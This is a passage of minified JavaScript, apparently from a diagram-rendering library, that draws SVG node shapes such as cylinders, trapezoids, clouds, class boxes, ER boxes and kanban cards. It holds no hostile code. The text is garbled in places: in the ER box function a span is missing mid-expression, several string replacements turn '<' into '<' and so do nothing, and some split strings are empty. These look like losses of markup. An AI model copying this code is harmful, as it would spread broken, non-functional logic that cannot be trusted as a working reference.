tte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=.2*l,d=.2*u,p=u+h,{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=[{x:-l/2-l/2*.1,y:p/2},...Go(-l/2-l/2*.1,p/2,l/2+l/2*.1,p/2,h,.8),{x:l/2+l/2*.1,y:-p/2},{x:-l/2-l/2*.1,y:-p/2}],x=-l/2+l/2*.1,b=-p/2-d*.4,T=[{x:x+l-f,y:(b+u)*1.4},{x:x+l,y:b+u-d},{x:x+l,y:(b+u)*.9},...Go(x+l,(b+u)*1.3,x+l-f,(b+u)*1.5,-u*.03,.5)],S=Vt(v),w=g.path(S,y),k=Vt(T),A=g.path(k,{...y,fillStyle:"solid"}),C=i.insert(()=>A,":first-child");return C.insert(()=>w,":first-child"),C.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,v,R)},i}var rte=N(()=>{"use strict";It();Ut();Ht();$t();o(tte,"taggedWaveEdgedRectangle")});async function nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+e.padding,e?.width||0),l=Math.max(a.height+e.padding,e?.height||0),u=-s/2,h=-l/2,f=i.insert("rect",":first-child");return f.attr("class","text").attr("style",n).attr("rx",0).attr("ry",0).attr("x",u).attr("y",h).attr("width",s).attr("height",l),Qe(e,f),e.intersect=function(d){return Xe.rect(e,d)},i}var ite=N(()=>{"use strict";It();Ut();$t();o(nte,"text")});async function ate(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s,halfPadding:l}=await ut(t,e,st(e)),u=e.look==="neo"?l*2:l,h=a.height+u,f=h/2,d=f/(2.5+h/50),p=a.width+d+u,{cssStyles:m}=e,g;if(e.look==="handDrawn"){let y=Ze.svg(i),v=TRe(0,0,p,h,d,f),x=wRe(0,0,p,h,d,f),b=y.path(v,Je(e,{})),T=y.path(x,Je(e,{fill:"none"}));g=i.insert(()=>T,":first-child"),g=i.insert(()=>b,":first-child"),g.attr("class","basic label-container"),m&&g.attr("style",m)}else{let y=bRe(0,0,p,h,d,f);g=i.insert("path",":first-child").attr("d",y).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n),g.attr("class","basic label-container"),m&&g.selectAll("path").attr("style",m),n&&g.selectAll("path").attr("style",n)}return g.attr("label-offset-x",d),g.attr("transform",`translate(${-p/2}, ${h/2} )`),s.attr("transform",`translate(${-(a.width/2)-d-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,g),e.intersect=function(y){let v=Xe.rect(e,y),x=v.y-(e.y??0);if(f!=0&&(Math.abs(x)<(e.height??0)/2||Math.abs(x)==(e.height??0)/2&&Math.abs(v.x-(e.x??0))>(e.width??0)/2-d)){let b=d*d*(1-x*x/(f*f));b!=0&&(b=Math.sqrt(Math.abs(b))),b=d-b,y.x-(e.x??0)>0&&(b=-b),v.x+=b}return v},i}var bRe,TRe,wRe,ste=N(()=>{"use strict";It();$t();Ht();Ut();tr();bRe=o((t,e,r,n,i,a)=>`M${t},${e} + a${i},${a} 0,0,1 0,${-n} + l${r},0 + a${i},${a} 0,0,1 0,${n} + M${r},${-n} + a${i},${a} 0,0,0 0,${n} + l${-r},0`,"createCylinderPathD"),TRe=o((t,e,r,n,i,a)=>[`M${t},${e}`,`M${t+r},${e}`,`a${i},${a} 0,0,0 0,${-n}`,`l${-r},0`,`a${i},${a} 0,0,0 0,${n}`,`l${r},0`].join(" "),"createOuterCylinderPathD"),wRe=o((t,e,r,n,i,a)=>[`M${t+r/2},${-n/2}`,`a${i},${a} 0,0,0 0,${n}`].join(" "),"createInnerCylinderPathD");o(ate,"tiltedCylinder")});async function ote(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=[{x:-3*l/6,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var lte=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(ote,"trapezoid")});async function cte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=60,l=20,u=Math.max(s,a.width+(e.padding??0)*2,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),{cssStyles:f}=e,d=Ze.svg(i),p=Je(e,{});e.look!=="handDrawn"&&(p.roughness=0,p.fillStyle="solid");let m=[{x:-u/2*.8,y:-h/2},{x:u/2*.8,y:-h/2},{x:u/2,y:-h/2*.6},{x:u/2,y:h/2},{x:-u/2,y:h/2},{x:-u/2,y:-h/2*.6}],g=Vt(m),y=d.path(g,p),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,m,x)},i}var ute=N(()=>{"use strict";It();Ut();$t();Ht();o(cte,"trapezoidalPentagon")});async function hte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=vr(ge().flowchart?.htmlLabels),u=a.width+(e.padding??0),h=u+a.height,f=u+a.height,d=[{x:0,y:0},{x:f,y:0},{x:f/2,y:-h}],{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=Vt(d),v=m.path(y,g),x=i.insert(()=>v,":first-child").attr("transform",`translate(${-h/2}, ${h/2})`);return p&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),e.width=u,e.height=h,Qe(e,x),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${h/2-(a.height+(e.padding??0)/(l?2:1)-(a.y-(a.top??0)))})`),e.intersect=function(b){return X.info("Triangle intersect",e,d,b),Xe.polygon(e,d,b)},i}var fte=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();gr();Xt();o(hte,"triangle")});async function dte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/8,f=u+h,{cssStyles:d}=e,m=70-l,g=m>0?m/2:0,y=Ze.svg(i),v=Je(e,{});e.look!=="handDrawn"&&(v.roughness=0,v.fillStyle="solid");let x=[{x:-l/2-g,y:f/2},...Go(-l/2-g,f/2,l/2+g,f/2,h,.8),{x:l/2+g,y:-f/2},{x:-l/2-g,y:-f/2}],b=Vt(x),T=y.path(b,v),S=i.insert(()=>T,":first-child");return S.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,x,w)},i}var pte=N(()=>{"use strict";It();Ut();Ht();$t();o(dte,"waveEdgedRectangle")});async function mte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=100,l=50,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=u/h,d=u,p=h;d>p*f?p=d/f:d=p*f,d=Math.max(d,s),p=Math.max(p,l);let m=Math.min(p*.2,p/4),g=p+m*2,{cssStyles:y}=e,v=Ze.svg(i),x=Je(e,{});e.look!=="handDrawn"&&(x.roughness=0,x.fillStyle="solid");let b=[{x:-d/2,y:g/2},...Go(-d/2,g/2,d/2,g/2,m,1),{x:d/2,y:-g/2},...Go(d/2,-g/2,-d/2,-g/2,m,-1)],T=Vt(b),S=v.path(T,x),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),y&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",y),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var gte=N(()=>{"use strict";It();Ut();$t();Ht();o(mte,"waveRectangle")});async function yte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d-h},{x:f-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d-h}],v=`M${f-h},${d-h} L${f+l},${d-h} L${f+l},${d+u} L${f-h},${d+u} L${f-h},${d-h} + M${f-h},${d} L${f+l},${d} + M${f},${d-h} L${f},${d+u}`;e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("transform",`translate(${h/2}, ${h/2})`),b.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)+h/2-(a.x-(a.left??0))}, ${-(a.height/2)+h/2-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var vte=N(()=>{"use strict";It();$t();Ht();Ut();o(yte,"windowPane")});async function H9(t,e){let r=e;if(r.alias&&(e.label=r.alias),e.look==="handDrawn"){let{themeVariables:U}=Qt(),{background:j}=U,te={...e,id:e.id+"-background",look:"default",cssStyles:["stroke: none",`fill: ${j}`]};await H9(t,te)}let n=Qt();e.useHtmlLabels=n.htmlLabels;let i=n.er?.diagramPadding??10,a=n.er?.entityPadding??6,{cssStyles:s}=e,{labelStyles:l,nodeStyles:u}=je(e);if(r.attributes.length===0&&e.label){let U={rx:0,ry:0,labelPaddingX:i,labelPaddingY:i*1.5,classes:""};Zi(e.label,n)+U.labelPaddingX*20){let U=d.width+i*2-(y+v+x+b);y+=U/w,v+=U/w,x>0&&(x+=U/w),b>0&&(b+=U/w)}let A=y+v+x+b,C=Ze.svg(f),R=Je(e,{});e.look!=="handDrawn"&&(R.roughness=0,R.fillStyle="solid");let I=0;g.length>0&&(I=g.reduce((U,j)=>U+(j?.rowHeight??0),0));let L=Math.max(k.width+i*2,e?.width||0,A),E=Math.max((I??0)+d.height,e?.height||0),D=-L/2,_=-E/2;f.selectAll("g:not(:first-child)").each((U,j,te)=>{let Y=qe(te[j]),oe=Y.attr("transform"),J=0,ue=0;if(oe){let ee=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(oe);ee&&(J=parseFloat(ee[1]),ue=parseFloat(ee[2]),Y.attr("class").includes("attribute-name")?J+=y:Y.attr("class").includes("attribute-keys")?J+=y+v:Y.attr("class").includes("attribute-comment")&&(J+=y+v+x))}Y.attr("transform",`translate(${D+i/2+J}, ${ue+_+d.height+a/2})`)}),f.select(".name").attr("transform","translate("+-d.width/2+", "+(_+a/2)+")");let O=C.rectangle(D,_,L,E,R),M=f.insert(()=>O,":first-child").attr("style",s.join("")),{themeVariables:P}=Qt(),{rowEven:B,rowOdd:F,nodeBorder:G}=P;m.push(0);for(let[U,j]of g.entries()){let Y=(U+1)%2===0&&j.yOffset!==0,oe=C.rectangle(D,d.height+_+j?.yOffset,L,j?.rowHeight,{...R,fill:Y?B:F,stroke:G});f.insert(()=>oe,"g.label").attr("style",s.join("")).attr("class",`row-rect-${Y?"even":"odd"}`)}let $=C.line(D,d.height+_,L+D,d.height+_,R);f.insert(()=>$).attr("class","divider"),$=C.line(y+D,d.height+_,y+D,E+_,R),f.insert(()=>$).attr("class","divider"),T&&($=C.line(y+v+D,d.height+_,y+v+D,E+_,R),f.insert(()=>$).attr("class","divider")),S&&($=C.line(y+v+x+D,d.height+_,y+v+x+D,E+_,R),f.insert(()=>$).attr("class","divider"));for(let U of m)$=C.line(D,d.height+_+U,L+D,d.height+_+U,R),f.insert(()=>$).attr("class","divider");if(Qe(e,M),u&&e.look!=="handDrawn"){let j=u.split(";")?.filter(te=>te.includes("stroke"))?.map(te=>`${te}`).join("; ");f.selectAll("path").attr("style",j??""),f.selectAll(".row-rect-even path").attr("style",u)}return e.intersect=function(U){return Xe.rect(e,U)},f}async function I2(t,e,r,n=0,i=0,a=[],s=""){let l=t.insert("g").attr("class",`label ${a.join(" ")}`).attr("transform",`translate(${n}, ${i})`).attr("style",s);e!==rc(e)&&(e=rc(e),e=e.replaceAll("<","<").replaceAll(">",">"));let u=l.node().appendChild(await di(l,e,{width:Zi(e,r)+100,style:s,useHtmlLabels:r.htmlLabels},r));if(e.includes("<")||e.includes(">")){let f=u.children[0];for(f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">");f.childNodes[0];)f=f.childNodes[0],f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">")}let h=u.getBBox();if(vr(r.htmlLabels)){let f=u.children[0];f.style.textAlign="start";let d=qe(u);h=f.getBoundingClientRect(),d.attr("width",h.width),d.attr("height",h.height)}return h}var xte=N(()=>{"use strict";It();Ut();$t();Ht();M2();qn();zo();gr();yr();tr();o(H9,"erBox");o(I2,"addText")});async function bte(t,e,r,n,i=r.class.padding??12){let a=n?0:3,s=t.insert("g").attr("class",st(e)).attr("id",e.domId||e.id),l=null,u=null,h=null,f=null,d=0,p=0,m=0;if(l=s.insert("g").attr("class","annotation-group text"),e.annotations.length>0){let b=e.annotations[0];await ow(l,{text:`\xAB${b}\xBB`},0),d=l.node().getBBox().height}u=s.insert("g").attr("class","label-group text"),await ow(u,e,0,["font-weight: bolder"]);let g=u.node().getBBox();p=g.height,h=s.insert("g").attr("class","members-group text");let y=0;for(let b of e.members){let T=await ow(h,b,y,[b.parseClassifier()]);y+=T+a}m=h.node().getBBox().height,m<=0&&(m=i/2),f=s.insert("g").attr("class","methods-group text");let v=0;for(let b of e.methods){let T=await ow(f,b,v,[b.parseClassifier()]);v+=T+a}let x=s.node().getBBox();if(l!==null){let b=l.node().getBBox();l.attr("transform",`translate(${-b.width/2})`)}return u.attr("transform",`translate(${-g.width/2}, ${d})`),x=s.node().getBBox(),h.attr("transform",`translate(0, ${d+p+i*2})`),x=s.node().getBBox(),f.attr("transform",`translate(0, ${d+p+(m?m+i*4:i*2)})`),x=s.node().getBBox(),{shapeSvg:s,bbox:x}}async function ow(t,e,r,n=[]){let i=t.insert("g").attr("class","label").attr("style",n.join("; ")),a=Qt(),s="useHtmlLabels"in e?e.useHtmlLabels:vr(a.htmlLabels)??!0,l="";"text"in e?l=e.text:l=e.label,!s&&l.startsWith("\\")&&(l=l.substring(1)),kn(l)&&(s=!0);let u=await di(i,iv(Ji(l)),{width:Zi(l,a)+50,classes:"markdown-node-label",useHtmlLabels:s},a),h,f=1;if(s){let d=u.children[0],p=qe(u);f=d.innerHTML.split("
    ").length,d.innerHTML.includes("")&&(f+=d.innerHTML.split("").length-1);let m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=a.fontSize?.toString()??window.getComputedStyle(document.body).fontSize,S=parseInt(b,10)*5+"px";y.style.minWidth=S,y.style.maxWidth=S}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}else{n.includes("font-weight: bolder")&&qe(u).selectAll("tspan").attr("font-weight",""),f=u.children.length;let d=u.children[0];(u.textContent===""||u.textContent.includes(">"))&&(d.textContent=l[0]+l.substring(1).replaceAll(">",">").replaceAll("<","<").trim(),l[1]===" "&&(d.textContent=d.textContent[0]+" "+d.textContent.substring(1))),d.textContent==="undefined"&&(d.textContent=""),h=u.getBBox()}return i.attr("transform","translate(0,"+(-h.height/(2*f)+r)+")"),h.height}var Tte=N(()=>{"use strict";yr();qn();It();tr();Xt();zo();gr();o(bte,"textHelper");o(ow,"addText")});async function wte(t,e){let r=ge(),n=r.class.padding??12,i=n,a=e.useHtmlLabels??vr(r.htmlLabels)??!0,s=e;s.annotations=s.annotations??[],s.members=s.members??[],s.methods=s.methods??[];let{shapeSvg:l,bbox:u}=await bte(t,e,r,a,i),{labelStyles:h,nodeStyles:f}=je(e);e.labelStyle=h,e.cssStyles=s.styles||"";let d=s.styles?.join(";")||f||"";e.cssStyles||(e.cssStyles=d.replaceAll("!important","").split(";"));let p=s.members.length===0&&s.methods.length===0&&!r.class?.hideEmptyMembersBox,m=Ze.svg(l),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=u.width,v=u.height;s.members.length===0&&s.methods.length===0?v+=i:s.members.length>0&&s.methods.length===0&&(v+=i*2);let x=-y/2,b=-v/2,T=m.rectangle(x-n,b-n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0),y+2*n,v+2*n+(p?n*2:s.members.length===0&&s.methods.length===0?-n:0),g),S=l.insert(()=>T,":first-child");S.attr("class","basic label-container");let w=S.node().getBBox();l.selectAll(".text").each((R,I,L)=>{let E=qe(L[I]),D=E.attr("transform"),_=0;if(D){let B=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(D);B&&(_=parseFloat(B[2]))}let O=_+b+n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0);a||(O-=4);let M=x;(E.attr("class").includes("label-group")||E.attr("class").includes("annotation-group"))&&(M=-E.node()?.getBBox().width/2||0,l.selectAll("text").each(function(P,B,F){window.getComputedStyle(F[B]).textAnchor==="middle"&&(M=0)})),E.attr("transform",`translate(${M}, ${O})`)});let k=l.select(".annotation-group").node().getBBox().height-(p?n/2:0)||0,A=l.select(".label-group").node().getBBox().height-(p?n/2:0)||0,C=l.select(".members-group").node().getBBox().height-(p?n/2:0)||0;if(s.members.length>0||s.methods.length>0||p){let R=m.line(w.x,k+A+b+n,w.x+w.width,k+A+b+n,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(p||s.members.length>0||s.methods.length>0){let R=m.line(w.x,k+A+C+b+i*2+n,w.x+w.width,k+A+C+b+n+i*2,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(s.look!=="handDrawn"&&l.selectAll("path").attr("style",d),S.select(":nth-child(2)").attr("style",d),l.selectAll(".divider").select("path").attr("style",d),e.labelStyle?l.selectAll("span").attr("style",e.labelStyle):l.selectAll("span").attr("style",d),!a){let R=RegExp(/color\s*:\s*([^;]*)/),I=R.exec(d);if(I){let L=I[0].replace("color","fill");l.selectAll("tspan").attr("style",L)}else if(h){let L=R.exec(h);if(L){let E=L[0].replace("color","fill");l.selectAll("tspan").attr("style",E)}}}return Qe(e,S),e.intersect=function(R){return Xe.rect(e,R)},l}var kte=N(()=>{"use strict";It();Xt();yr();Ht();$t();Ut();Tte();gr();o(wte,"classBox")});async function Ete(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=e,a=e,s=20,l=20,u="verifyMethod"in e,h=st(e),f=t.insert("g").attr("class",h).attr("id",e.domId??e.id),d;u?d=await Ou(f,`<<${i.type}>>`,0,e.labelStyle):d=await Ou(f,"<<Element>>",0,e.labelStyle);let p=d,m=await Ou(f,i.name,p,e.labelStyle+"; font-weight: bold;");if(p+=m+l,u){let k=await Ou(f,`${i.requirementId?`ID: ${i.requirementId}`:""}`,p,e.labelStyle);p+=k;let A=await Ou(f,`${i.text?`Text: ${i.text}`:""}`,p,e.labelStyle);p+=A;let C=await Ou(f,`${i.risk?`Risk: ${i.risk}`:""}`,p,e.labelStyle);p+=C,await Ou(f,`${i.verifyMethod?`Verification: ${i.verifyMethod}`:""}`,p,e.labelStyle)}else{let k=await Ou(f,`${a.type?`Type: ${a.type}`:""}`,p,e.labelStyle);p+=k,await Ou(f,`${a.docRef?`Doc Ref: ${a.docRef}`:""}`,p,e.labelStyle)}let g=(f.node()?.getBBox().width??200)+s,y=(f.node()?.getBBox().height??200)+s,v=-g/2,x=-y/2,b=Ze.svg(f),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=b.rectangle(v,x,g,y,T),w=f.insert(()=>S,":first-child");if(w.attr("class","basic label-container").attr("style",n),f.selectAll(".label").each((k,A,C)=>{let R=qe(C[A]),I=R.attr("transform"),L=0,E=0;if(I){let M=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(I);M&&(L=parseFloat(M[1]),E=parseFloat(M[2]))}let D=E-y/2,_=v+s/2;(A===0||A===1)&&(_=L),R.attr("transform",`translate(${_}, ${D+s})`)}),p>d+m+l){let k=b.line(v,x+d+m+l,v+g,x+d+m+l,T);f.insert(()=>k).attr("style",n)}return Qe(e,w),e.intersect=function(k){return Xe.rect(e,k)},f}async function Ou(t,e,r,n=""){if(e==="")return 0;let i=t.insert("g").attr("class","label").attr("style",n),a=ge(),s=a.htmlLabels??!0,l=await di(i,iv(Ji(e)),{width:Zi(e,a)+50,classes:"markdown-node-label",useHtmlLabels:s,style:n},a),u;if(s){let h=l.children[0],f=qe(l);u=h.getBoundingClientRect(),f.attr("width",u.width),f.attr("height",u.height)}else{let h=l.children[0];for(let f of h.children)f.textContent=f.textContent.replaceAll(">",">").replaceAll("<","<"),n&&f.setAttribute("style",n);u=l.getBBox(),u.height+=6}return i.attr("transform",`translate(${-u.width/2},${-u.height/2+r})`),u.height}var Ste=N(()=>{"use strict";It();Ut();$t();Ht();tr();Xt();zo();yr();o(Ete,"requirementBox");o(Ou,"addText")});async function Cte(t,e,{config:r}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n||"";let a=10,s=e.width;e.width=(e.width??200)-10;let{shapeSvg:l,bbox:u,label:h}=await ut(t,e,st(e)),f=e.padding||10,d="",p;"ticket"in e&&e.ticket&&r?.kanban?.ticketBaseUrl&&(d=r?.kanban?.ticketBaseUrl.replace("#TICKET#",e.ticket),p=l.insert("svg:a",":first-child").attr("class","kanban-ticket-link").attr("xlink:href",d).attr("target","_blank"));let m={useHtmlLabels:e.useHtmlLabels,labelStyle:e.labelStyle||"",width:e.width,img:e.img,padding:e.padding||8,centerLabel:!1},g,y;p?{label:g,bbox:y}=await YT(p,"ticket"in e&&e.ticket||"",m):{label:g,bbox:y}=await YT(l,"ticket"in e&&e.ticket||"",m);let{label:v,bbox:x}=await YT(l,"assigned"in e&&e.assigned||"",m);e.width=s;let b=10,T=e?.width||0,S=Math.max(y.height,x.height)/2,w=Math.max(u.height+b*2,e?.height||0)+S,k=-T/2,A=-w/2;h.attr("transform","translate("+(f-T/2)+", "+(-S-u.height/2)+")"),g.attr("transform","translate("+(f-T/2)+", "+(-S+u.height/2)+")"),v.attr("transform","translate("+(f+T/2-x.width-2*a)+", "+(-S+u.height/2)+")");let C,{rx:R,ry:I}=e,{cssStyles:L}=e;if(e.look==="handDrawn"){let E=Ze.svg(l),D=Je(e,{}),_=R||I?E.path(Fs(k,A,T,w,R||0),D):E.rectangle(k,A,T,w,D);C=l.insert(()=>_,":first-child"),C.attr("class","basic label-container").attr("style",L||null)}else{C=l.insert("rect",":first-child"),C.attr("class","basic label-container __APA__").attr("style",i).attr("rx",R??5).attr("ry",I??5).attr("x",k).attr("y",A).attr("width",T).attr("height",w);let E="priority"in e&&e.priority;if(E){let D=l.append("line"),_=k+2,O=A+Math.floor((R??0)/2),M=A+w-Math.floor((R??0)/2);D.attr("x1",_).attr("y1",O).attr("x2",_).attr("y2",M).attr("stroke-width","4").attr("stroke",kRe(E))}}return Qe(e,C),e.height=w,e.intersect=function(E){return Xe.rect(e,E)},l}var kRe,Ate=N(()=>{"use strict";It();Ut();Zd();$t();Ht();kRe=o(t=>{switch(t){case"Very High":return"red";case"High":return"orange";case"Medium":return null;case"Low":return"blue";case"Very Low":return"lightblue"}},"colorFromPriority");o(Cte,"kanbanItem")});async function _te(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+10*s,h=a.height+8*s,f=.15*u,{cssStyles:d}=e,p=a.width+20,m=a.height+20,g=Math.max(u,p),y=Math.max(h,m);l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`);let v,x=`M0 0 + a${f},${f} 1 0,0 ${g*.25},${-1*y*.1} + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},${y*.1} + + a${f},${f} 1 0,0 ${g*.15},${y*.33} + a${f*.8},${f*.8} 1 0,0 0,${y*.34} + a${f},${f} 1 0,0 ${-1*g*.15},${y*.33} + + a${f},${f} 1 0,0 ${-1*g*.25},${y*.15} + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},${-1*y*.15} + + a${f},${f} 1 0,0 ${-1*g*.1},${-1*y*.33} + a${f*.8},${f*.8} 1 0,0 0,${-1*y*.34} + a${f},${f} 1 0,0 ${g*.1},${-1*y*.33} + H0 V0 Z`;if(e.look==="handDrawn"){let b=Ze.svg(i),T=Je(e,{}),S=b.path(x,T);v=i.insert(()=>S,":first-child"),v.attr("class","basic label-container").attr("style",Cn(d))}else v=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",x);return v.attr("transform",`translate(${-g/2}, ${-y/2})`),Qe(e,v),e.calcIntersect=function(b,T){return Xe.rect(b,T)},e.intersect=function(b){return X.info("Bang intersect",e,b),Xe.rect(e,b)},i}var Dte=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(_te,"bang")});async function Lte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+2*s,h=a.height+2*s,f=.15*u,d=.25*u,p=.35*u,m=.2*u,{cssStyles:g}=e,y,v=`M0 0 + a${f},${f} 0 0,1 ${u*.25},${-1*u*.1} + a${p},${p} 1 0,1 ${u*.4},${-1*u*.1} + a${d},${d} 1 0,1 ${u*.35},${u*.2} + + a${f},${f} 1 0,1 ${u*.15},${h*.35} + a${m},${m} 1 0,1 ${-1*u*.15},${h*.65} + + a${d},${f} 1 0,1 ${-1*u*.25},${u*.15} + a${p},${p} 1 0,1 ${-1*u*.5},0 + a${f},${f} 1 0,1 ${-1*u*.25},${-1*u*.15} + + a${f},${f} 1 0,1 ${-1*u*.1},${-1*h*.35} + a${m},${m} 1 0,1 ${u*.1},${-1*h*.65} + H0 V0 Z`;if(e.look==="handDrawn"){let x=Ze.svg(i),b=Je(e,{}),T=x.path(v,b);y=i.insert(()=>T,":first-child"),y.attr("class","basic label-container").attr("style",Cn(g))}else y=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",v);return l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),y.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,y),e.calcIntersect=function(x,b){return Xe.rect(x,b)},e.intersect=function(x){return X.info("Cloud intersect",e,x),Xe.rect(e,x)},i}var Rte=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(Lte,"cloud")});async function Nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+8*s,h=a.height+2*s,f=5,d=` + M${-u/2} ${h/2-f} + v${-h+2*f} + q0,-${f} ${f},-${f} + h${u-2*f} + q${f},0 ${f},${f} + v${h-2*f} + q0,${f} -${f},${f} + h${-u+2*f} + q-${f},0 -${f},-${f} + Z + `,p=i.append("path").attr("id","node-"+e.id).attr("class","node-bkg node-"+e.type).attr("style",n).attr("d",d);return i.append("line").attr("class","node-line-").attr("x1",-u/2).attr("y1",h/2).attr("x2",u/2).attr("y2",h/2),l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),i.append(()=>l.node()),Qe(e,p),e.calcIntersect=function(m,g){return Xe.rect(m,g)},e.intersect=function(m){return Xe.rect(e,m)},i}var 